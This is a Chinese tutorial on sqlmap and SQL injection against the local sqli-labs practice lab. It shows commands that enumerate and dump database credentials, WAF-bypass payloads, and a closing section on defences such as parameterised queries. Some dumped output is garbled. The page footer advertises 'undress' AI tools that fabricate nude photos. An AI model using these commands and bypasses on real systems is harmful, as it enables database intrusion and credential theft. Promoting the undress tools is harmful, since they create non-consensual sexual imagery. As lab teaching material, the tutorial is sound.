如何分析SQLMap與SQLi注入防禦
第一部分:Sqlmap使用
1.1 sqlmap介紹
1. 前邊說了一些sql注入的基礎語句,但是手工注入很麻煩,我們可以藉助sqlmap這個強大的sql注入工具,進行資料的取得.
2.sqlmap 介紹
(1)#sqlmap是一種開源的滲透測試工具,可以自動偵測並利用SQL注入漏洞以及
接入該資料庫的伺服器。它擁有非常強大的檢測引擎、具有多種特性的滲透測試器、透過資料庫指紋提取存取底層檔案系統並透過外帶連接執行命令。
官方網站: sqlmap.org
(2)#支援的資料庫:
MySQL,Oracle, PostgreSQL, Microsoft SQL Server, Microsoft
Access, IBM DB2, SQLite, Firebird, Sybase and SAP MAXDB。
(3)#支援多種注入方式
#UNION query SQL injection(可聯合查詢注入)
#Error-based SQL injection(報錯型注入)
# Boolean-based blind SQL injection(布林型注入)
#Time-based blind SQL injection(基於時間延遲注入)
#Stacked queries SQL injection(可多語句查詢注入)
1.2 sqlmap安裝與環境搭建
1.sqlmap安裝主要步驟
(1)安裝python環境--->sqlmap需要python環境
python下載位址: https:/ /www.python.org/downloads/release/python-2715/)
sqlmap跟Python2.X版本相容比較好.(python的安裝步驟直接下一步即可,需要修改的就是sqlmap的安裝路徑,這裡改成了C:\Users\Administrator\python,為了直接命令列可以進入sqlmap目錄更方便操作)
(2)Python安裝不要安裝到中文路徑下,並把Python加入環境變數.
(3)下載並安裝sqlmap,修改安裝目錄為C :\Users\Administrator\sqlmap
(4)測試python環境: 進入cmd命令列,輸入python,如下提示則安裝成功
C:\Users\ Administrator>python
Python 2.7.16 (v2.7.16:413a49145e, Mar 4 2019, 01:37:19) [MSC v.1500 64 2019, 01:37:19) [MSC v.1500 6445bit] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> exit();
## (5); sqlmap測試: 進入cmd指令列,輸入sqlmap.py -h (注意路徑) C:\Users\Administrator\sqlmap>sqlmap.py -h #查看幫助資訊
#(1)取得庫名,列名,權限
- --dbs #取得所有資料庫
- --dbms mysql #指定資料庫類型
- --users #所有資料庫使用者(資料庫本機使用者名稱)
- --passwords #取得資料庫密碼,(有權限才能讀取)
- --technique #指定使用哪一個注入型別
- --current-db #目前資料庫
- #--banner #取得資料庫識別
- ##-D database_name --tables #-D用於指定資料,--tables取得某個庫下的表
- -D database_name -T table_name --columns #-T指定表名,--columns取得列欄位
- -D database_name -T table_name -C column_1,column_2 --dump
#-C指定字段名,- -dump顯示結果
- --users #列資料庫管理使用者,目前使用者有權限讀取包含所有使用者的資料表的權限時,就可以列出所有管理使用者。
- --current-user #在大多數資料庫中可以取得管理資料的使用者。
- --is-dba #判斷目前的使用者是否為管理,是的話會回到True。
- --privileges #當使用者有權限讀取包含所有使用者的表的權限時,很可能列舉出每個使用者的權限,sqlmap將會告訴你哪個是資料庫的超管理員。也可以用-U參 數指定你想看那個使用者的權限。
- --proxy #指定一個代理伺服器eg: –proxy http://local:8080
#(2)指定前後綴:
#sqlmap不能偵測很多的干擾字元,閉合時可以手工指定前綴和後綴
select * from users where id=((('1 '))) 與 1=1
#--prefix=PREFIX 注入payload字串前綴
–suffix=SUFFIX 注入payload字串後綴
eg:sqlmap -u “www.target.com/index.php?id=1” -p id --prefix “'))”
--suffix “AND ('1'= '1”
#(3)匯出結果:
sqlmap -u “www.a.com/ 1.php?id=1” --file-write=”d:/1.txt”
#--file-dest=”E:/wwwroot/web/one. php“
--batch 全自動
#--start=開始條數--stop=結束條數
--dump 匯出資料
--dump-all 匯出所有資料
--purge-output/ --purge 清空快取目錄
--sql-shell 反彈sqlshell,類似sql查詢分析器 預設路徑.sqlmap (點sqlmap)
#1.4 sqlmap實戰範例
#Less-1--Less65通用語句(這幾句是最常用的幾個參數,必會型)
##(1)取得所有函式庫名稱
C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -- dbs --dbms=mysql --batch
#解析:
-u 後加url,表示測試的url
--dbs表示取得所有資料庫
--dbms表示指定資料庫類型為mysql
--batch表示自動取得
-D security --tables 表示取得指定資料庫為security 的資料表名
-D security -T users --columns 表示取得指定資料庫為security裡users表中的列名
-D security -T users -C username,password --dump #取得security程式庫,users表中username和password欄位的資料資訊,--dump表示顯示結果
#結果:##[*] challenges
[*] dvwa
[*] information_schema
[*] mysql
[*] owasp
[*] performance_schema
[*] security
[*] test
##(2)取得目前函式庫名稱C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" --current -db --batch
#結果:current database: 'security'
#(3)取得目前表名C :\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security --tables --batch
##結果:Database: security
[4 tables]
----------
| emails |
| referers |
| uagents |
| users |
----------
##(4)取得目前欄位名稱C:\Users\Administrator \sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users --columns --batch
#結果: Database: security
Table: users
[3 columns]
---------- -------------
| Column | Type |
---------- -------------
| id | int(3) |
#| password | varchar (20) |
| username | varchar(20) |
---------- -------------
# #(5)取得users表中username和password內容C:\Users\Administrator\sqlmap>python sqlmap.py -u "http://localhost/sqli/Less-1?id=1" -D security -T users -C username,password --dump --batch
#結果:Database: security
Table: users
[13 entries ]
---------- ------------
| username | password |
---------- --- ---------
| Dumb | Dumb |
| Angelina | I-kill-you |
| Dummy | p@ssword |
| secure | crappy | |## |## | |## | stupid | stupidity |
| superman | genious |
| batman | mob!le |
| admin | admin ad |
| admin | admin ad |
| min1 | admin ad 1 21一樣 | |
| admin3 | admin3 |
| dhakkan | dumbo |
| admin4 | admin4 |
---------- ------------
#第二部分:sqli注入之waf繞過
2.1 SQL注入之waf繞過方法介紹
說明:這裡僅舉例說明繞過方式,實際場景則更加複雜. 多種繞過方式可以混合使用,還可以進行編碼.1.前邊知道了sql注入的方式後,如何才能防止sql注入呢?
- #(1)過濾註解符
- #(2)過濾and或or
- #(3)過濾select或union
- #(4)過濾黑名單
- #2.過濾了and/or繞過方式有哪些?
- ##(1)mysql中大小寫不敏感,都可以正確執行;===>使用大小寫變形
#(2)mysql支援十六進位,用16進位或用URL編碼;
#(3)用符號取代單字 = ==>符號繞過and(&&) or(||)
##(4)內嵌註解和多行註釋===>在敏感詞彙中加入註釋a/**/nd 雙寫繞過oORr
3.當然還有其他方法,我們以這幾種過濾方式為例,來說說如何繞過.
真實場景中有waf裝置,waf其實也是透過過濾一些關鍵字來防止sql注入的.
2.2 sql注入之繞過waf實驗
1.過濾了註解符號(Less- 23為例)
#(1)過濾註解符號的原因:對於正常的SQL語句中,註解符起到說明作用的功能。但對於利用SQL注入漏洞過程中,註解符號起到閉合 單引號、多單引號、雙引號、單括號、多括號的功能。
單行註解: -- 或 --空格 或
#多行註解: /* 多行註解內容*/
#(2)過濾函數preg_replace
preg_replace(mixed $pattern , mixed $replacement , mixed $subject):執行一個正規表示式的搜尋和替換。
$pattern: 要搜尋的模式,可以是字串或一個字串陣列
$replacement: 用來替換的字串或字串陣列。
$subject: 要搜尋已取代的目標字串或字串陣列。
#(3)繞過註解符號:
利用註解子過濾不能成功閉合單引號等,換一個思路利用or '1'='1閉合單引號等。
http://127.0.0.1/sqli/Less-23/?id=-1' union select 1,database(),'3
2.過濾了and或or應該如何繞過?(Less-25為例)
(1)源碼分析:可以看到把or或and替換為了空
(2)操作步驟
3.過濾了空格應該如何繞過?(Less-26為例)
(1)用 來充當空格
4.過濾了select/union該如何繞過?(Less-27為例)
第三部分:sqli注入防禦
3.1 sql注入防禦方法
1.常用防護措施:
#(1)、關閉錯誤提示: PHP設定檔php.ini中的display_errors=Off
#(2)、魔術引號(與addslashes的效果相同):當php.ini裡的magic_quotes_gpc=On時。提交的變數中所有的單引號(')、雙引號(”)、反斜線(\)與NUL(NULL 字元)會自動轉為含有反斜線的轉義字元
#(3)、對資料進行過濾:例如過濾掉and/or/union等常用關鍵字
#(4)、控制連接資料庫的使用者權限:每個庫針對單一庫設定一個管理員,不要用root權限.
#(5)、預處理和參數化(PDO):處理用戶傳入的參數,返回布林值,不是單純的對資料進行"拼接",從而避免sql注入.
#(6)、硬件防護措施(WAF等硬體)
以上是如何分析SQLMap與SQLi注入防禦的詳細內容。更多資訊請關注PHP中文網其他相關文章!

熱AI工具

Undresser.AI Undress
人工智慧驅動的應用程序,用於創建逼真的裸體照片

AI Clothes Remover
用於從照片中去除衣服的線上人工智慧工具。

Undress AI Tool
免費脫衣圖片

Clothoff.io
AI脫衣器

Video Face Swap
使用我們完全免費的人工智慧換臉工具,輕鬆在任何影片中換臉!

熱門文章

熱工具

記事本++7.3.1
好用且免費的程式碼編輯器

SublimeText3漢化版
中文版,非常好用

禪工作室 13.0.1
強大的PHP整合開發環境

Dreamweaver CS6
視覺化網頁開發工具

SublimeText3 Mac版
神級程式碼編輯軟體(SublimeText3)

使用sqlmap對dvwa進行自動化注入設定dvwa等級為low開啟dvwa的SQLInjection(SQLInjection(Blind)),開啟瀏覽器調試,輸入userid並submit,查看攔截到的請求。可以看到是一個GET請求,url「http://192.168.1.222:8089/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#」我們直接放到salmap測試一下,用-u指令-u"http ://192.168.1.22

0x00概述近日在利用sqlmap注入測試時遇到一個奇怪的現象,高版本sqlmap無法檢測出注入,但是低版本的可以測出注入,並且能跑出數據不是誤報,經過對比測試和查看sqlmap源碼,發現兩個小坑。 0x01情境重現注入點形式:json…”whereparams”:[{“name”:”keyWord”,”value”:”test”}]}可注入參數:valuesqlmap指令:pythonsqlmap.py-rsqlpk.txt– flush-session-vvsqlmapv1.2.11無法注入s

第一部分:Sqlmap使用1.1sqlmap介紹1.前邊說了一些sql注入的基礎語句,但是手工注入很麻煩,我們可以藉助sqlmap這個強大的sql注入工具,進行數據的獲取.2.sqlmap介紹(1)# sqlmap是一種開源的滲透測試工具,可自動偵測並利用SQL注入漏洞以及連接到該資料庫的伺服器。它擁有非常強大的檢測引擎、具有多種特性的滲透測試器、透過資料庫指紋提取存取底層檔案系統並透過外帶連接執行命令。官方網站:sqlmap.org(2)#支援的資料庫:MySQL,Oracle,PostgreS

由於要對外網的網站進行滲透測試,但是大部分網站都有訪問頻率控制,一旦超過這個頻率就直接禁IP。尤其是SQLMAP跑的時候,更是一片“姨媽紅”,還沒跑完SQLMAP就直接報錯退出。於是就開始研究SQLMAP的代理模式,SQLMAP有兩種代理模式,一種是普通代理(HTTP代理),一種是洋蔥代理。我原本想寫一下普通代理的應用,但是百度看到這篇文章已經夠詳細了,就不再說廢話。 Sqlmap擴展—外部IP代理池實現還是重點談談洋蔥代理,一開始直接使用洋蔥去做注入時候,沒有報“姨媽紅”,後來隨著滲透的網站的增

網路上針對sqlmap進行dns注入的相關文章太少,只是簡單介紹了下--dns-domain參數,相關的實戰文章要么就寫的模糊或者一筆帶過,搞的雲裡霧裡(主要是菜,關鍵還沒大佬帶)。然後自己參考網路上的方法自己重新搞了一遍。需要準備的東西,sqlmap、windows盲註一個、兩個網域、一台外網伺服器。某次搞事情的時候碰到一個時間盲注,剛好是台windows的,想起dns注入的方法。在開始前我準備先用sqlmap的--sql-shell指令進行dns注入payload的測試先到burpsuite中的

1.前言sql注入如何檢測的?我的回答是:在甲方做安全,sql注入偵測還是比較好做的。 1)報錯注入檢測。 2)別做bool的報錯注入,誤報比較高。 3)做基於time-based的時間注入,聯繫運維做上慢日誌db記錄,監控sleep,benchmark的關鍵字監控,可以在sleep的時間小數點上加上掃描任務的id號,方便定位。 (p.s.這種方法能找到99%的sql注入了)因此,在做基於time-based的時間注入時,我把時間誤差限制的非常苛刻。但是,@chengable在乙方做安全相關工作,基於t

我對公司的APP進行測試的時候發現,我們是將所有的參數內容加上一個32位元字元最後在進行MD5加密。由於APP處理的流程首先是驗證sign是不是正確,如果驗簽失敗,根本就進不去資料庫,為了要使用SQLMAP對其進行測試,於是就寫了一個代理資料的腳本,在攔截到資料包之後,對其參數內容和32字元進行加密替換。註:此腳本適用於公司內部系統,因為能夠知道加密的流程;或能夠拿到前端JS的加密方式。首先我使用Django寫了一個程式來模擬公司的系統,流程是取得POST的id和token,並加上自訂加密的字

sqlmap讀取與寫入檔案–file-read:從後端的資料庫管理系統檔案系統讀取檔案–file-write:編輯後端的資料庫管理系統檔案系統上的本機檔案(從本機寫入)–file-dest :後端的資料庫管理系統寫入檔案的絕對路徑(寫入目標路徑)可以用以上幾個指令對SQL注入後的系統檔案進行讀寫,但是前提條件是需要有可讀可寫的權限並且為dba權限,否則無法成功進行讀寫操作。以DVWA為例,在kali下搭建DVWA進行讀取與寫入檔案操作。讀取文件:查看了PHPinfo裡的相關信息,使用-file-r
